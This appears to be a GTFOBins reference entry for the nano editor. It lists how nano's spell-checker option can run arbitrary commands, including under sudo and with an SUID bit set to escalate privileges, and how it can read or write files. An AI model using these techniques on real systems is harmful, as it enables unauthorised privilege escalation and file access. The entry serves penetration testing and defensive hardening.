GTFOBins.github.io/_gtfobins/nano.md
2018-06-01 00:22:34 +02:00

905 B

functions
execute-non-interactive sudo-enabled suid-enabled file-read file-write
description code
After running this exit the editor to see the command output. COMMAND=id TF=$(mktemp) echo "$COMMAND" > $TF chmod +x $TF nano -s $TF /etc/hosts ^T
description code
After running this exit the editor to see the command output. COMMAND=id TF=$(mktemp) echo "$COMMAND" > $TF chmod +x $TF sudo nano -s $TF /etc/hosts ^T
description code
After running this exit the editor to see the command output. COMMAND=id TF=$(mktemp) echo $'#!/bin/sh -p\n'"$COMMAND" > $TF chmod +x $TF ./nano -s $TF /etc/hosts ^T
code
nano file_to_read
code
nano file_to_write ^O